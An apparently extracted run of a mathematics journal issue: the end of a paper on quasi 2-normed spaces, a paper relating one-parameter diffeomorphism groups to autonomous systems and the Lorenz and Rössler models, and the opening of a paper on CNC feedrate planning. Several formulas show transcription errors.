2) If \( x, y, z \in L \) are such that \( \| x, z \| = \| y, z \| = 1 \), holds then
\[
\| \frac{x+y}{2}, z \| \leq C (1-t) \| x + ty, z \| + \frac{C-1}{2} \max \{1-t, t\},
\] (12)
for each \( t \in [0,1] \).

**Proof.** 1) \( \Rightarrow \) 2). Let assume that 1) is satisfied. Let \( x, y, z \in L \) be such that
\[
\| x, z \| = \| y, z \| = 1
\]
is satisfied. Clearly, for \( t = 0 \) and \( t = 1 \), the inequality (12) is satisfied. If \( t \in (0,1) \), then
1) implies
\[
\| \frac{x+y}{2}, z \| = \frac{1-t}{2} (1 + \frac{t}{1-t}) \| x + y, z \|
\]
\[
= \frac{1-t}{2} (\| x, z \| + \| \frac{t}{1-t} y, z \|) \| \frac{x}{\|x\|} - \frac{\frac{t}{1-t} y}{\|\frac{t}{1-t} y\|}, z \|
\]
\[
\leq \frac{1-t}{2} (\| x, z \| + \| \frac{t}{1-t} y, z \|) (2C \| \frac{x-y, z}{\|x,z\|+\|y,z\|} \| + (C-1) \max \left\{ \frac{\|x,z\|\|y,z\|}{\|x,z\|+\|y,z\|} \right\})
\]
\[
= C(1-t) \| x - \frac{t}{1-t} y, z \| + \frac{(C-1)(1-t)}{2} \max \{1, \frac{t}{1-t}\}
\]
\[
= C (1-t) \| x + ty, z \| + \frac{C-1}{2} \max \{1-t, t\},
\]
i.e. the inequality (12) holds true.

2) \( \Rightarrow \) 1). Let assume that 2) is satisfied. Further, let \( x \) and \( y \) be arbitrary non-null vectors at \( L \). Then for \( \| x \|, \| y \| \in L \) it is true that
\[
\| \frac{x}{\|x\|}, z \| = \| \frac{-y}{\|y\|}, z \| = 1
\]
and if \( t = \frac{\|y,z\|}{\|x,z\|+\|y,z\|} \), then 2) implies that
\[
\| \frac{x}{\|x\|} - \frac{y}{\|y\|}, z \| = 2 \| \frac{x}{\|x\|}, \| \frac{-y}{\|y\|}, z \|
\]
\[
\leq 2C \left( 1 - \frac{\|y,z\|}{\|x,z\|+\|y,z\|} \right) \| x \| + \| \frac{-y}{\|y\|}, z \|
\]
\[
+ \frac{C-1}{2} \max \left\{ 1 - \frac{\|y,z\|}{\|x,z\|+\|y,z\|}, \| \frac{\|x,z\|\|y,z\|}{\|x,z\|+\|y,z\|} \right\}
\]
\[
= 2C \| \frac{x-y, z}{\|x,z\|+\|y,z\|} \| + (C-1) \max \left\{ \frac{\|x,z\|\|y,z\|}{\|x,z\|+\|y,z\|} \right\}
\]
i.e. the inequality (11) holds true. \( \blacksquare \)

**Remark 2.** The inequality (11) is actually generalization of the inequality
\[
\| \frac{x}{\|x\|} - \frac{y}{\|y\|}, z \| \leq \frac{2\|x-y, z\|}{\|x,z\|+\|y,z\|},
\]
which on 2-normed space, is satisfied if and only if the 2-norm is generated by 2-inner product ([10]). So, it is logically to be stated the following question:

Does the inequality (11) in quasi 2-normed space with modulus of concavity $C \geq 1$ hold true if and only if it exists a function $f : L \times L \to \mathbb{R}$ so that $f(x,x,z) = \|x,z\|^2$.

References


1) Faculty of informatics, FON University, Skopje, Macedonia
E-mail address: anevskak@gmail.com
2) Centre for research and development of education, Skopje, Macedonia
E-mail address: samoil.malcheski@gmail.com
FOR A CLASS OF AUTONOMOUS DYNAMICAL SYSTEMS

Boro M. Piperevski

Abstract. This paper considers a class of autonomous dynamical systems in many aspects. It shows the connection with EPGLT and EPGD, associated with three type’s diffeomorphism. It studied attractor (attractors) for the solution (solutions) at some special autonomous dynamical systems classes. By that, it shows some important properties from topological and metric aspect.

1. INTRODUCTION

Mathematical formalization of the notion of deterministic process leads to the notion of EPGT (one-parameter group transformations). Here are reviewing EPGD (one-parameter group diffeomorphisms) and their relation to dynamical systems, vector fields, phase flow, phase space, phase curves, autonomous systems, differential equations, etc.

All definitions and theorems in this section are taken from references.

One-parameter group of transformations (EPGT), EPGD, EPGLT

Definition 1. Let $M$ be a set. A family of transformations of $M$ into itself, is called a group of transformations, if together with any transformation $f$, its inverse transformation $f^{-1}$ belongs to the family, and every two transformations $f$ and $g$, their product $f \circ g$ belong to the family, where $(f \circ g)(x) = f(g(x))$.

Definition 2. Let $G$ be an abstract group and $M$ be a set. We say that a set of group $G$ acts on the set $M$, if to every element $g$ of the group $G$ corresponds the transformation $T_g : M \to M$, wherein $\forall f, g \in G, \exists T_f, T_g : M \to M$, so that

$$T_{fg} = T_f \circ T_g, \quad T_{f^{-1}} = (T_f)^{-1}.$$  

The transformation $T_g$ is called the action element $g \in G$ into set $M$. With action $g$ into $m$ is obtained element $T_g m = gm$. The set $\{gm \mid g \in G\} \subseteq M$ is called the orbit for the fixed point $m$.

The action yet determined mapping $T : G \times M \to M$, i.e. $(g, m) \to T_g m$.


Key words and phrases. One-parameter group diffeomorphisms (EPGD), phase flow, phase space, dynamical systems, autonomous systems differential equations, Lorenz system.
Note: The action of the group $G$ into the set $M$ is the homomorphism of group $G$ in the group transformations of the set $M$.

All processes today are related to time (deterministic process). Therefore, when we talk about the processes, they will be provided with links with time (mathematically speaking with parameter), with the help of a group of real numbers.

**Definition 3.** Let $G$ be a commutative group and let $R$ ($+$) is the group of real numbers. The action (or homomorphism) of the $R$ into $G$ is called a one-parameter group $G' = \{ g' \mid g \in G, t \in R \}$. Then $g'^{s+t} = g'^s \circ g'^t, g'^{-t} = (g'^t)^{-1}$ is true.

**Definition 4.** A family $\{ g^t \}$ of mappings of a set $M$ into itself, labeled by the set of all real numbers ($t \in R$), is called a one-parameter group of transformations (EPGT) of $M$, if $g^{s+t} = g^s \circ g^t$, for all $t, s \in R$ and $g^0$ is the identity mapping (which leaves every point fixed). Usually the parameter $t$ is called time, and the transformation $g^t$, is called transformation for time $t$.

If $g^t$ is a linear transformation of a set $M$ into itself, then an $\{ g^t \}$ is called a one-parameter group of linear transformations (EPGLT).

**Definition 5.** By a one-parameter group $\{ g^t \}$ of diffeomorphism (EPGD) of a manifold $M$ (which can be thought of as a domain in Euclidean space) is meant a mapping $g : R \times M \rightarrow M, g(t, x) = g^t x, t \in R, x \in M$ of the direct product $R \times M$ into $M$ such that
1) $g$ is a differentiable mapping;
2) The mapping $g^t : M \rightarrow M$ is a diffeomorphism for every $t \in R$;
3) The family $\{ g^t, t \in R \}$ is a one-parameter group of transformations of $M$.

**Phase space, phase flow, kinematic and geometric aspect, equivalence of linear flows, Definition of dynamical systems (topological)**

EPGT is mathematically equivalent physical ideas of two-sided deterministic process.

**Definition 6.** A pair $(M, \{ g^t \})$ consisting of a set $M$ and one-parameter group $\{ g^t \}$ of transformations (EPGT) of $M$ into itself is called a phase flow. The set $M$ is called the phase space of the flow, and its elements are called phase points. In other words phase flow is the set of mappings $g^t x : R \times M \rightarrow M$. The orbits of the phase flow are called phase curves or trajectories.

**Definition 7.** Let $(M, \{ g^t \})$ be a phase flow, given by a one-parameter group of diffeomorphisms (EPGD) of a manifold $M \subseteq R^n$. By the phase velocity $v(x)$ of the flow $g^t$ at a point $x \in M$ is meant the vector representing the velocity of motion of the phase point, i.e.

$$v(x) = \frac{d}{dt} \bigg|_{t=0} (g^t x) .$$

(1.1)
The left-hand side of (1.1) is often denoted by \( x' \). Note that the derivative is defined, since the motion is a differentiable mapping of a domain in Euclidean space.

Let \( M \) be a domain in Euclidean space with coordinates \( x_1, x_2, \ldots, x_n : M \to \mathbb{R} \) and suppose that with every point \( x \in M \) there is associated the vector \( v(x) \) emanating from \( x \). Then this defines a vector field \( v \) on \( M \), specified in the \( x_i \) coordinate system by \( n \) differentiable functions \( v_i : M \to \mathbb{R} \).

**Note:** In the theory of dynamical systems and topology, dynamical systems are defined by the following definition.

**Definition 8.** Let \( X \) be a topological space and let \( F : X \times \mathbb{R} \to X \) is continuous mapping with the following properties:
1. \( F(x, 0) = x, \forall x \in X, \)
2. \( F(x, t + s) = F(F(x, t), s), x \in X, \forall t, s, \in \mathbb{R} \)

Then the pair \( (X, F) \) is called continuous dynamical system (flow), and \( X \) is called phase space. The mapping \( F_t : X \to X, F_t(x) = F(x, t), \forall t \in \mathbb{R} \) is called transformation of \( X \) at time \( t \).

**Note:** If \( F(x, t) = g^t x \), then \( F(x, t+s) = g^{t+s} x = g^t (g^s x) = F(g^s x, s) = F(F(x, t), s) \) is true.

**Definition 9.** Let \( x \in M \) be any phase point, and consider the mapping
\[
\phi : \mathbb{R} \to M, \quad \phi(t) = g^t x
\]
(1.2)
of the real line into phase space. Then the mapping (1.2) is called the motion of the point \( x \) under the action of the flow \( (M, \{g^t\}) \).

**Definition 10.** The image of \( \mathbb{R} \) under the mapping (1.2) is called a phase curve of the flow \( (M, \{g^t\}) \). The graph of the motion (1.2) is called an integral curve of the flow \( (M, \{g^t\}) \).

**Theorem 1.** Let \( M \) be a smooth manifold, and let \( v : M \to TM \) be a vector field. Moreover, let the vector \( v(x) \) be different from the zero vector of \( TM \) only in a compact subset \( K \) of the manifold \( M \). Then there exists an EPGD \( g^t \) : \( M \to M \) for which \( v \) is the phase velocity field:
\[
\frac{d}{dt} g^t x = v(g^t x).
\]

**Corollary 1.** Every vector field \( v \) on a compact manifold \( M \) is the phase velocity field of a EPGD.

Each of these classifications is based on some equivalence relation. There exist at least three reasonable equivalence relations for linear systems, corresponding to algebraic, differentiable, and topological mappings.
**Definition 11.** Two phase flow \( \{g^t\}, \{f^t\}: \mathbb{R}^n \to \mathbb{R}^n \) are said to be equivalent if there exists a one-to-one mapping \( h: \mathbb{R}^n \to \mathbb{R}^n \) carrying the flow \( \{f^t\} \) into the flow \( \{g^t\} \) such that \( h \circ f^t = g^t \circ h \) for every \( t \in \mathbb{R} \). Under these conditions, the flows are said to be:

1) linearly equivalent if the mapping \( h: \mathbb{R}^n \to \mathbb{R}^n \) in question is a linear automorphism;
2) differentiably equivalent if the mapping \( h: \mathbb{R}^n \to \mathbb{R}^n \) is a diffeomorphism;
3) topologically equivalent if the mapping \( h: \mathbb{R}^n \to \mathbb{R}^n \) is a homeomorphism, i.e., if \( h \) is one-to-one and continuous in both directions.

**Remark 1.** Linear equivalence implied differentiable equivalence, while differentiable equivalence implies topological equivalence.

**Remark 2.** Note that the mapping \( h \) carries phase curves of the flow \( \{f^t\} \) into phase curves of the flow \( \{g^t\} \).

**Relationship between EPGD and systems differential equations, the notion of autonomy, EPGLT and linear systems differential equations**

One process, if is defined by the phase flow, changes from one state to another state continuous. Then continuous changes, if given by a vector field \( v(x) \), can be characterized by derivatives that we can come to the system differential equations \( x' = v(x) \). Because is a concept for a deterministic process (past - present - future), here we are dealing with a stationary process i.e. autonomous system differential equations.

**Theorem 2.** Let \( \{g^t\}, M \subseteq \mathbb{R}^n \) be the phase flow. Let \( x_0 \in M \) be fixed point and let him consider the mapping \( \varphi: \mathbb{R} \to M \), defined with \( \varphi(t) = g^t x_0 \). The mapping \( \varphi \) occurs as the solution of the system differential equations \( x' = v(x) \) (autonomous system) with initial condition \( \varphi(0) = x_0 \), where

\[
v(x) = \frac{d}{dt}|_{t=0}(g^t x).
\]

**Definition 12.** Phase flow of the system differential equations \( x' = v(x), x \in M \subseteq \mathbb{R}^n \), called EPGD (dynamical system) which occurs as the phase vector field of speeds.

**Theorem 3.** Let \( x' = v(x), x \in M \subseteq \mathbb{R}^n \) is the autonomous system differential equations. Let \( M \) be a smooth manifold, and let \( v: M \to TM \) be a vector field. Moreover, let the vector \( v(x) \) be different from the zero vector of \( TM \), only in a compact subset \( K \) of the manifold \( M \). Then there exists an EPGD, \( g^t: M \to M \) for which \( v \) is the phase velocity field:

\[
\frac{d}{dt} g^t x = v(g^t x) .
\]

In particular, under the conditions of the theorem 1 or those of Corollary 1, we have:
Corollary 2. Every solution of the system differential equations \( x' = v(x), x \in M, M \) compact manifold, can be extended indefinitely forward and backward, with the value of the solution \( g^t x \) at time \( t \) depending smoothly on \( t \) and the initial condition \( x \).

Theorem 4. The family of linear operator \( e^{tA} : \mathbb{R}^n \to \mathbb{R}^n, t \in \mathbb{R} \) is an EPGLT of \( \mathbb{R}^n \).

Theorem 5. Let \( g^t : \mathbb{R}^n \to \mathbb{R}^n \) be a EPGLT. Then there exists a linear operator \( A : \mathbb{R}^n \to \mathbb{R}^n \) such that \( g^t = e^{tA} \).

Theorem 6. The solution of linear autonomous system of differential equations \( x' = Ax, x \in \mathbb{R}^n \), satisfying the initial condition \( \varphi(0) = x_0 \), is given by formula \( \varphi(t) = e^{At}x_0, t \in \mathbb{R} \). Thus, adequate EPGLT of the linear autonomous system of differential equations \( x' = Ax \) is given by \( g^t = e^{At} \) and way around.

Topological linear dynamical system is actually EPGLT and equivalence relation defined in Definition 11 can be transferred to the appropriate linear autonomous systems differential equations.

Theorem 7. Let \( A, B : \mathbb{R}^n \to \mathbb{R}^n \) be linear operators all whose eigenvalues are simple. Then the systems \( x' = Ax, x \in \mathbb{R}^n \), \( y' = By, y \in \mathbb{R}^n \) are linearly and differentiably equivalent, if and only if the eigenvalues of the operators \( A \) and \( B \) coincide.

Theorem 8. A necessary and sufficient condition for topological equivalence of two linear systems, all of whose eigenvalues have nonzero real parts, is that the number of eigenvalues with negative (and hence positive) real parts be the same in both systems.

Remark 3. A similar result holds locally (in a neighborhood of a fixed point) for nonlinear autonomous systems whose linear parts have no purely imaginary eigenvalues. In particular, in a neighborhood of a fixed point such a system is topologically equivalent to its linear part.

Correlation of the theory of differential equations with dynamical systems about topological aspect, Attracting sets, attractors

In the theory of differential equations is known fundamental theorem of existence and uniqueness of the solution of system differential equations. Based on this theorem, shall be proved claims about a separate class of autonomous systems differential equations.

Theorem 9. Let be a given autonomous system differential equations:
\[
\frac{dx_i}{dt} = f_i(x_1, x_2, \ldots, x_n), \quad i = 1, n,
\]
And let is \( x = \phi(t; x_0) \), a solution of this system, with initial condition \( \phi(0) = x_0 \). Then solution \( x = \phi(t; x_0) \), satisfies the following simple properties:

1) A solution is continuous in terms of the set of all variables,
2) \( \phi(0; x_0) \equiv x_0 \)
3) \( \phi(t_1 + t_2; x_0) \equiv \phi(t_2; \phi(t_1; x_0)) \).

**Note.** \( \phi(t; x_0) = g^t x_0 \) is true.

Property 3) is proved by help the fundamental theorem of existence and uniqueness of the solution of the autonomous system differential equations.

Same property in the theory of topology and dynamical systems is used as a condition in definition of dynamical systems. On the other hand, this condition followed by the corresponding condition of the group EPGT.

**Definition 13.** Let \( \phi(t) \) is a solution of the system differential equations \( x' = v(x) \), \( x \in M \subseteq \mathbb{R}^n \), satisfying the initial condition \( \phi(t_0) = x_0 \), with defined values for all \( t \geq t_0 \), and remains for they values \( t \) into the closed and bounded set \( F \subseteq M \). Point \( p \) of the space \( M \) is called the \( \omega \)-the limit point for solution \( \phi(t) \), if there is such an unlimited growing sequence of values (greater than \( t_0 \)) \( t_1, t_2, \ldots, t_k \ldots \), \( \lim_{k \to \infty} t_k = \infty \) so that \( \lim_{k \to \infty} \phi(t_k) = p \). The family (totality) \( \Omega \) of all limit points of the solutions \( \phi(t) \) is called \( \omega \)-limit set.

It is shown that the set \( \Omega \) is non empty, is closed, is bounded and consists of complete trajectories purposes. The latter means that if the point \( \xi \) belongs to \( \Omega \), then trajectory of the solution \( \phi(t; \xi) \) with initial value \( \phi(0) = \xi \), defined for all values of \( t \), and whole trajectory of the solution \( \phi(t; \xi) \), belongs to the set \( \Omega \). Obviously that \( \omega \)-limit set trajectories \( \phi(t; \xi) \) completely are contained in \( \Omega \).

The term the limit-points or limit-set can be replaced with the attracting points or attracting set. A special type such Sets are attractors which, also, exist in different species (global, whimsical, etc.). Sure they are taught the theory of topology, functional analysis and other areas in which systems are studied depending on the change of parameters and their stability.

One construction of a strange attractor – is a product of the Cantor set of manifold. Strange attractor is not a point, orbit, or of type Eight.

Usually today under attractor means minimal, invariant and compact set. Usually strange attractor means set has zero measure 0 and has fractal structure.

In the theory of differential equations these autonomous systems, are sub systems of general Systems differential equations. They are studied by other aspects such as their solving, stability of the solutions (stability theory, Lyapunov functions), the dependence of the behaviour of the system by changing the parameters (the behaviour of solution of a system differential equations on an infinite time interval, chaos, attractors, etc.), approximately solving with qualitative analysis etc.
2. MAIN RESULT, LORENZ MODEL

Theorem 10. Let be given the Lorenz system
\[
\begin{align*}
\dot{x} &= \sigma(y - x) \\
\dot{y} &= x(r - z) - y \\
\dot{z} &= xy - bz
\end{align*}
\]  
(2.1)

Let \((x(t), y(t), z(t))\) be the solution, with the initial conditions \(x(0) = a_0, y(0) = b_0, z(0) = c_0\), is developed in a Maclaurin’s series
\[
\begin{align*}
x(t) &= \sum_{n=0}^{\infty} \frac{a_n}{n!} t^n, \\
y(t) &= \sum_{n=0}^{\infty} \frac{b_n}{n!} t^n, \\
z(t) &= \sum_{n=0}^{\infty} \frac{c_n}{n!} t^n.
\end{align*}
\]  
(2.2)

With direct replacement in system and the equalization of coefficients before corresponding degree are getting the system Difference equations
\[
\begin{align*}
a_n &= \sigma(b_{n-1} - a_{n-1}) \\
b_n &= r a_{n-1} - b_{n-1} - \sum_{i=0}^{n-1} \binom{n-1}{i} a_i c_{n-i-1}, \\
c_n &= -bc_{n-1} + \sum_{i=0}^{n-1} \binom{n-1}{i} a_i b_{n-i-1}
\end{align*}
\]  
(2.3)

Suppose that numerous series \(\sum a_n, \sum b_n, \sum c_n\) are convergent with sums \(A, B, C\), respectively. Then the sums can be obtained by formulas
\[
A = \frac{\sigma B + a_0}{1 + \sigma}, \quad C = r + \frac{(1 + \sigma)(b_0 - 2B)}{\sigma B + a_0}, \quad \sigma B + a_0 \neq 0,
\]  
(2.4)

And \(B\) is a solution, real number, to the equation from the third degree
\[
\sigma^2 B^3 + 2\sigma a_0 B^2 + [(\sigma + 1)(1 + b) - 2(1 + \sigma)^2 (1 + b) - a_0^2 - c_0(1 + \sigma)\sigma]B + 
+ (1 + \sigma)(1 + b)ra_0 + (1 + \sigma)^2 b_0(1 + b) - c_0(1 + \sigma)a_0 = 0.
\]

Proof. From system (2.3) by summing up the left and right sides for the \(n = 1\) to \(\infty\) and using the assumption for a convergence of numerous series, is gets the system
\[
A = \sigma(B - A) + a_0, B = rA - B - AC + b_0, C = -bC + AB + c_0,
\]
from that is obtained the formula (2.4).

Now, we will apply Remark 3 and Theorem 8, in Lorenz system (2.1) and Rössler system:
\[
\begin{align*}
\dot{x} &= -(y + z) \\
\dot{y} &= x + \alpha y \\
\dot{z} &= b + xz - cz.
\end{align*}
\]
First the Rössler system with shift
\[
\begin{align*}
x &= x_1 + \alpha D, \quad y = y_1 - D, \quad z = z_1 + D
\end{align*}
\]
It is modified in System
\[ \begin{align*}
\dot{x} &= -(y + z) \\
\dot{y} &= x + \alpha y \\
\dot{z} &= xz + aDz + Dx - cz .
\end{align*} \]

Where \( D \) is one of the numbers \( \frac{\pm \sqrt{c^2 - 4ab}}{2\alpha} \), and it consider in the neighbourhood of the fixed point (equilibrium position) \( O(0,0,0) \). With linearization, own values in the Lorenz system are the roots of the characteristic equation

\[ (\lambda + b)[\lambda^2 + (\sigma + 1)\lambda + \sigma - \sigma r] = 0 , \]

And for the modified Rössler system are the roots of the characteristic equation

\[ \lambda^3 - A\lambda^2 - [\alpha(\alpha - A) - 2]\lambda - A = 0, \quad A = \alpha - c + \alpha D . \quad (2.5) \]

Because values in the Lorentz system are real and different for \( r > 1 \), two negative and the third positive, according to observation, the systems are locally topologically equivalence if the characteristic equation (2.5) has two negative and one positive real part of the three roots. In this case in addition to the requirement may be using two modified systems.

The modification of Rössler system has more one equilibrium point

\[ O_1( c - 2\alpha D, \frac{2aD-c}{\alpha} , - \frac{2aD-c}{\alpha}) . \]

**Theorem 11.** Let be given the Lorenz system differential equations. Let's are consider a corresponding linearization of system in the neighbourhood of the equilibrium position \( O(0, 0, 0) \), given by equations

\[ \begin{align*}
\dot{x} &= \sigma(y - x) \\
\dot{y} &= rx - y \\
\dot{z} &= -bz
\end{align*} \]

The matrix of this system is given by the formula

\[ A = \begin{bmatrix}
-\sigma & \sigma & 0 \\
r & -1 & 0 \\
0 & 0 & -b
\end{bmatrix} . \]

And its own values are roots of the equation

\[ (\lambda + b)[\lambda^2 + (\sigma + 1)\lambda + \sigma - \sigma r] = 0 . \quad (2.7) \]

Then the system (2.6) there is an EPGLD given by the formula

\[ g^t = \frac{1}{\lambda_3 - \lambda_2} \begin{bmatrix}
A_1 & A_2 & A_3 \\
B_1 & B_2 & B_3 \\
0 & 0 & e^{\lambda_3 t}
\end{bmatrix} , \quad (2.8) \]

where

\[ A_1 = \frac{-r\sigma}{\sigma + \lambda_2} e^{\lambda_2 t} + \frac{r\sigma}{\sigma + \lambda_3} e^{\lambda_3 t} , \quad B_1 = -re^{\lambda_2 t} + re^{\lambda_3 t} , \quad A_2 = \frac{\sigma b_2}{\alpha + \lambda_2} e^{\lambda_2 t} + \frac{\sigma b_3}{\alpha + \lambda_3} e^{\lambda_3 t} , \]
For a class of autonomous dynamical systems

\[ B_2 = \beta_2 e^{\lambda_2 t} + \gamma_2 e^{\lambda_3 t}, \quad A_3 = \frac{\sigma}{\sigma + \lambda_1} e^{\lambda_1 t} + \frac{\sigma \beta_3}{\sigma + \lambda_2} e^{\lambda_2 t} + \frac{\sigma \gamma_3}{\sigma + \lambda_3} e^{\lambda_3 t}, \quad B_3 = e^{\lambda_1 t} + \beta_3 e^{\lambda_2 t} + \gamma_3 e^{\lambda_3 t} \]

\[ \beta_2 = \frac{\lambda_2 + \sigma - r \sigma}{\lambda_2}, \quad \beta_3 = \frac{\sigma b \lambda_1 + b^2 \lambda_2 + \sigma b - rb \sigma}{(\sigma - b) \lambda_2}, \quad \gamma_2 = -\frac{\lambda_3 + \sigma - r \sigma}{\lambda_3}, \quad \gamma_3 = \frac{b (\sigma - b) \lambda_3 - \sigma b - \sigma}{(\sigma - b) \lambda_3}, \]

and \( \lambda_1 = -b, \lambda_2, \lambda_3 \) are roots of the equation (2.7), provided

\[ r \sigma - \sigma + b + b \sigma - b^2 = 0. \]

**Proof.** Until formula (2.8) are coming through eigenvectors of matrix \( A \) corresponding to the eigenvalues \( \lambda_1 = -b, \lambda_2, \lambda_3 \) given by the formulas

\[
X_1 = \begin{bmatrix}
1 \\
1
\end{bmatrix}, \quad X_2 = \begin{bmatrix}
1 \\
0
\end{bmatrix}, \quad X_3 = \begin{bmatrix}
1 \\
0
\end{bmatrix},
\]

and auxiliary matrix

\[
g_0^t = \begin{bmatrix}
\frac{\sigma}{\sigma + \lambda_1} e^{\lambda_1 t} & \frac{\sigma}{\sigma + \lambda_2} e^{\lambda_2 t} & \frac{\sigma}{\sigma + \lambda_3} e^{\lambda_3 t} \\
e^{\lambda_1 t} & e^{\lambda_2 t} & e^{\lambda_3 t} \\
e^{\lambda_1 t} & 0 & 0
\end{bmatrix}.
\]

are shows that the corresponding properties

\[ g^0 = E, \quad g^{t+s} = g^t g^s, \quad \frac{d}{dt} g^t x = v(g^t x), \]

are valid.

3. **Conclusion**

Usually in the theory of differential equations, autonomous systems are called dynamical Systems differential equations only for the appropriate condition in group EPGD (Definition 4), thus explicitly not is stated that are autonomous. With Definition 12 clearly defines the essential difference between dynamical systems and autonomous systems differential equations. Properties 1-3 of Theorem 9 are as essential.

Often under dynamical systems (flow otherwise) in Definition 8 (conditions 1, 2) means the family transformations \( \varphi (t; x_0) \) any set into itself (where can be defined continuity transformations), if the properties 1-3 of Theorem 9 are met, even when are not given differential equations.

Discussed the similarities and differences

The Definitions 5, 6, 8, 9, 12, together with Theorems 2, 3 and 9 gives the similarity and difference between the terms dynamical systems and autonomous systems differential equations. Relationships between them are given with the Theorems 1, 2 and 3.

Thus with each EPGD is connected system differential equations (given by the vector field phase speeds) whose solution appears as a moving phase points under the influence of the phase flow. If phase flow describes any process in random initial
conditions then the system differential equations given by its vector field of the phase speeds determined by the local law of the evolution process. In the theory of differential equations is required, knowing the law of evolution, to conclude the past and predict the future. The formulation of any law of nature in the form of differential equation is reduced any job for the evolution process (physical, chemical, environmental, biological, etc.) in the geometric task for behaviour of phase curves of a given vector field in the appropriate phase space.

Usually today, quite often are mixed dynamical system in terms (topological) and dynamical system autonomous differential equations. Obviously dynamical system (topological) by definition fits only in autonomous system differential equations. The opposite is not necessarily true as shown with the example $\frac{dx}{dt} = x^2$.

References


1) Faculty of Electrical Engineering and Information Technologies, University “Ss Cyril and Methodius”, Skopje, Macedonia,

*E-mail address*: borom@feit.ukim.edu.mk
SPEED CONTROL IN NUMERIC CONTROLLED SYSTEMS

Igor Dimovski¹, Samoil Samak², Dijana Cvetkoska³, Mirjana Trompeska⁴, Filip Kochoski⁵

Abstract. In order to achieve higher speed (higher productivity at the same time), the modern way of managing numerical controlled systems includes Look Ahead algorithms with strong mathematical background. The purpose of these algorithms is generating a speed profile with which the tool will move along the programmed movement path. In this article will be described a method for speed profile generating whereby we will use numerical methods for differential computing, spline interpolation/approximation and linear programming. For testing and view of the generated speed profiles we will use the programming package MATLAB.

1. INTRODUCTION

NC machines, being typical mechatronics products, comprise machine tools that have a mechanical component and a numerical control system that is an electrical component. In NC, the servo motor is used for controlling the machine tool according to the operation of a user and a servo motor drive mechanism for activating the servo motor. That is, NC means a control device that machines a target part by activating the servo motor according to commands. The NC combined with computer technology is called computerized NC or CNC (Computer Numerical Control). Theoretical overview and details about CNC are given by Suh et al [7].

In high speed machining, it is crucial to minimize the cycle time, which reduces costs, while preserving the quality and tolerance integrity of the part being produced (Heng, [2]). The challenge is to get balance between accuracy and productivity. In some areas the accuracy is more important, in other the later one. Our research concern mostly about filament winding machines. In this area, the speed is limited by technological process. Taking all constrains and limitations in consideration, in this paper we will focus on minimizing the winding time as main criteria.

In early works, as in Bobrow et al [4], the problem is formulated. Solutions in those, so-called phase analysis methods, yield satisfying results only in the case of simple toolpaths. In last two decades, many algorithms treating this problem are developed. Some of the researches (Erkormaz and Altintas [8]) concern about parameterization of the input geometry and the influence of the parameter interpolation on the feedrate.
profile, fluctuations of feedrate and violation of the acceleration and jerk constraints. Type of interpolation is very important. Some of the modern trends, employing splines (Akima splines, Bezier splines, cubic splines and NURBS) as interpolation type is tested and compared against usual linear, circular and polynomial interpolation type by Msaddek et al [9]. Review of different methods for parameter interpolation types is given by Siu [5].

There are many algorithms developed for speed control problem. Most of them use so-called Look Ahead approach, so they are called Look Ahead algorithms, despite the phase velocity planning (VP) of the appropriate algorithm is the one which is Look Ahead phase.

Direct sampling methods are characterized by interpolation of point for every sample time, mostly using first or second order Taylor series, taking the feedrate calculated on various ways. For example, Lai et al [10] adjust the feedrate trough backtracking procedure if acceleration, jerk or chord error constraints are violated. Similar approach using bisection method and backtracking procedure is proposed by Heng [2] and Beudaert et al [3]. Main disadvantage of methods with backtracking is estimation of computational complexity witch is difficult in this case. In this paper will be explained the heuristic method we have developed and tested against two more methods.


In our research, we have implemented two methods from this class. The nonlinear programming method and linear programming method will be described below and the obtained results are compared between them and against the heuristic method.

Problem formulation is given in the section 2. Detailed explanations of the proposed methods are elaborated in section 3. Results are explained in section 4. Conclusion and directions for future work are given in section 5.

2. SPEED CONTROL

The speed of the axes is usually called feedrate, or shortly feed, in the machining literature.

Fig. 1 shows the whole procedure for the speed control process. The input to this procedure is a tool path generated from the computer-aided manufacturing (CAM) and the aim of the procedure is to create a feedrate profile to follow this starting geometry with respect the drive constraints. In order to get smooth movement of the machine drives the first thing we need to do is to modify the starting geometry and get the input geometry, the geometry that is input to the velocity planning process. The aim of the
velocity planning process sometimes called feedrate interpolation is to generate optimized feedrate profile that will follow the starting geometry with the given tolerance and satisfy velocity, acceleration and jerk constraints of each drive. Finally the output of the velocity planning process, the feedrate profile is needed to be sampled to axis set points with respect to simple time.

![Fig 1. Speed Control Scheme](image)

### 2.1. From Starting Geometry to Input Geometry

A typical several axis motion command in workpiece coordinate system that is produced from the CAM/CAD as a starting geometry is given by a sequence of discrete positions of the machine tool along the path. Each tool position is defined by three Cartesian coordinates of its center \(P=[P_x, P_y, P_z]\) and angular orientation vector of the tool axis \(O=[O_x, O_y, O_z]\). Because this sequence of discrete positions and orientations that define the starting geometry are given in workpiece coordinate system we use inverse kinematics to translate them in machine coordinate system. After this step is done the tool path is represented as discrete drive positions.

However this description of the tool path consist of line segments that can cause displacement, velocity, acceleration and jerk discontinuities during the velocity planning process and therefore we need to parameterized the given discrete drive positions from the starting geometry in to continuous function that is at least \(C^1\) continuous. Therefore the sequence of drive positions are fitted to a cubic, quantic, NURBS, shape preserving or B-Splines in order to interpolate the intermediate cutter positions as the tool travels along the path. Tool path parameterization is important task of the speed control process because with this task we obtain a mathematical representation of a tool path such that the position coordinates of the tool tip can be computed in terms of an independent variable called the spline parameter. The most
important requirements of the tool path parameterization module are to generate splines that are geometrically continuous and to accurately describe the machining geometry.

In some of the algorithms for generating feed profile, tool-paths are generally parameterized with respect to their arc-length \(s\). The tool positions define the pose of the tool expressed as a function of path displacement \(s\) as:

\[
\eta(s) = [x(s), y(s), z(s), a(s), c(s)] \quad s \in [0, L]
\]

where, \(L\) is the length of machine tool path. This is so-called arc-length parameterization.

Second, more general approach for tool path parameterization is when the parameter is in the interval \([0,1]\) and does not depend on input geometry:

\[
\eta(u) = [x(u), y(u), z(u), a(u), c(u)] \quad u \in [0,1]
\]

This parameterization is used when we describe the starting geometry as a spline, B-spline, NURBS and other curves that are at least \(C^1\) continuous and the parameter need to be in \([0,1]\) interval. These kinds of tool paths that are not parameterized according to their arc-length require an additional transformation from the spline parametric space to the arc-length displacement along the curve. Arc-length positions at each time step are converted to spline parameter values with the mapping defined by \(u(s)\) and substituted into the parametric definition of the curve such that: \(\eta(u) \rightarrow \eta(u(s))\). For this additional mapping between spline parameter and arc-length of the tool path, we need to devote special attention because it is very important for the feedrate interpolation, especially when we calculate the geometric derivatives applying the chain rule.

